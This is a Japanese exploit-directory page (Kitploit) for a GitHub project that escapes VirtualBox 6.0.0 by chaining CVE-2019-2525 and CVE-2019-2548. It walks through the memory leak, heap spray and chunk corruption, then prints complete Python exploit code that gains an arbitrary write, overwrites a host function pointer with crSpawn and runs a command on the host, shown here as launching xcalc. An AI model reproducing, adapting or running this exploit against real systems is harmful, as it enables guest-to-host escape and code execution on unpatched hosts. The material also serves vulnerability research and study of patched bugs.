Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
VirtualBox-6.0.0-Exploit-1-day — CVE-2019-2525 / CVE-2019-2548 | Kitploit
ツール/GitHubGitHub/wotmd/virtualbox-6.0.0-exploit-1-day
メモリフォレンジック脆弱性分析エクスプロイト情報収集ペネトレーションテストバイナリエクスプロイト
GitHubwotmd/virtualbox-6.0.0-exploit-1-day

VirtualBox-6.0.0-Exploit-1-day

CVE-2019-2525 / CVE-2019-2548

リポジトリを見る
1215年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

VirtualBox 6.0.0 Exploit 1-day

使用するVBoxのバグ

  • CVE-2019-2525 : crUnpackExtendGetAttribLocation 情報漏洩
  • CVE-2019-2548 : crServerDispatchReadPixels 整数オーバーフロー、ヒープオーバーフローに繋がる
  • これらのバグは3Dアクセラレーションを有効にした場合にトリガー可能です。

まず説明に先立ち、以下のエクスプロイトを実行した動画を撮影し添付します。

https://youtu.be/IQRLtqMgVCY?t=46

1. Memory Leak (CVE-2019-2525)

  1. hgcm_connectとhgcm_disconnectを複数回実行することで、メモリ上にcr_serverに関連する値を配置できます。crUnpackExtendGetAttribLocationの負のオフセットを利用してメモリリークを行い、cr_server+19056とcrVBoxHGCMDoDisconnectのアドレスを取得できます。
  2. 上記のリークしたメモリ値を利用してcr_serverとcrSpawnのアドレスを取得します。

2. Heap Spray

  1. CRVBOXSVBUFFER_tをメモリ上にヒープスプレーします。このときalloc_bufを使用します。メモリが連続的に割り当てられるため、バッファ構造体のpDataもバッファ構造体のすぐ隣に割り当てられます。
  2. そのため、alloc_buf(client, 0x20)でCRVBOXSVBUFFER_tと同じサイズのpDataを生成します。

  1. 偶数番号のバッファIDを解放します。

  1. alloc_buf(client, 0x50, msg)とalloc_buf(client, 0x20, msg)を交互に割り当て、解放されたチャンクを埋めます。0x50は解放されたチャンクには割り当てられず、別のメモリ領域に割り当てられます。

  1. 0x50の長さを持つ偶数番号のバッファIDを解放します。

3. Corrupt Chunk (CVE-2019-2548)

  1. crServerDispatchReadPixelsで整数オーバーフローが発生することを利用して、0x20サイズの構造体を割り当てます。
    • bytes_per_row = 0x1FFFFFFD / height = 8 ⇒ 0x100000020
  2. 上記の構造体はスプレーされたヒープ領域の中間の解放済み領域に挿入されます。サイズが0x38であることを利用して、0x18分のヒープオーバーフローが発生し、次の構造体のuiIDとuiSizeを改ざんできます。
    • uiID = 0xdeadbeef / uiSize = 0xffffffff

  1. 改ざんされたuiIDを持つ構造体を使用して、次のチャンクを改ざんできます。このとき、uiSizeが0xffffffffであるため、次のチャンクはpDataまで任意の値に書き換えられます。
    • uiID = 0xcafebabe / uiSize = 0xffffffff / pData = 任意の値

  1. これで、uiIDが0xdeadbeefの構造体でpDataを設定し、0xcafebabeの構造体を使用してOOB Writeを実行できます。

4. Exploit

  1. OOB Writeを利用してcr_server + 0xc410に"xcalc"を書き込みます。
  2. OOB Writeを利用して関数テーブル内のcrServerDispatchBoundsInfoCR(cr_server+0xae98)をcrSpawn関数で上書きします。
  3. crServerDispatchBoundsInfoCRを実行し、crSpawn関数を呼び出します。このとき引数として**command="xcalc", argv=["xcalc"のアドレス, NULL]**を渡すことで、VirtualBoxから脱出して電卓を起動できます。

結果画面

デモ動画

https://youtu.be/IQRLtqMgVCY?t=46

エクスプロイトコード

root@kitploit:~
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *

def nop_msg():
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + "\x00\x00\x00" +chr(CR_NOP_OPCODE)
        + pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
        )
    return msg

def make_leak_msg(offset):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
        + pack("<I", offset) #packet_length
        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
        + pack("<I", 0x41424344)
        )
    return msg

def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
        + pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
        + pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
        )
    return msg

def make_crSpawn_msg(cmd, argv):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
        + pack("<I", 1)
        + cmd.ljust(16, "\x00")
        + pack("<I", 0)
        + pack("<QQ", argv, 0) # argv : execute string, null
        )
    return msg

def leak_address(client):
    leak_success = False;
    while not leak_success:
    	for i in range(0, 10):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x170):
                leak_success = True
                break
    cr_server = leak - 0x4a70
    
    leak_success = False;
    while not leak_success:
        for i in range(0, 100):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x230):
                leak_success = True
                break
    crSpawn = leak - 0xbd20
    return (cr_server, crSpawn)
    
def heapSpray(client):
    buf_ids = []
    spray_ids = []
    msg = nop_msg()
    # make CRVBOXSVCBUFFER_t & pData heapSpray area
    for i in range(120):
		buf_ids.append(alloc_buf(client, 0x20, msg))
    buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
    
    # even buf_ids free
    for idx in buf_ids[::2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
    
    # fill CRVBOXSVCBUFFER_t free areas
    for i in range(40):
        spray_ids.append(alloc_buf(client, 0x50, msg))
        alloc_buf(client, 0x20, msg)
    
    # make a hole between spray area
    for idx in spray_ids[::-2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])

def make_corrupt_obj(pData):
    obj = (
        "A"*0x28
        + pack("<Q", 0x35)
        + pack("<I", 0xcafebabe) #uiId
        + pack("<I", 0xffffffff) #uiSize
        + pack("<Q", pData) # table_addr
        )
    return obj

def write_anywhere(addr, data):
    #make corrupt obj
    fake_buffer = make_corrupt_obj(addr)
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])

if __name__=='__main__':
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client) #must use
    
    # Trigger to CVE-2019-2525
    cr_server, crSpawn = leak_address(client)
    crServerDispatchBoundsInfoCR = cr_server+0xae98
    
    print("[*] crServer : " + hex(cr_server))
    print("[*] crSpawn  : " + hex(crSpawn))
    #print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
    
    # heapSpray
    heapSpray(client)
    
    # Trigger to CVE-2019-2548
    msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
    crmsg(client, msg)
    #a = input("test1 : ")
   
    # setting "xcalc"
    xcalc_string = cr_server + 0xc410 
    write_anywhere(xcalc_string, "xcalc")
    print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))

    # overwrite talbe func crSpawn
    print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
    write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))

    # escape!! execute xcalc
    msg = make_crSpawn_msg("xcalc", xcalc_string)
    crmsg(client, msg)

    hgcm_disconnect(client) 

ツールをダウンロード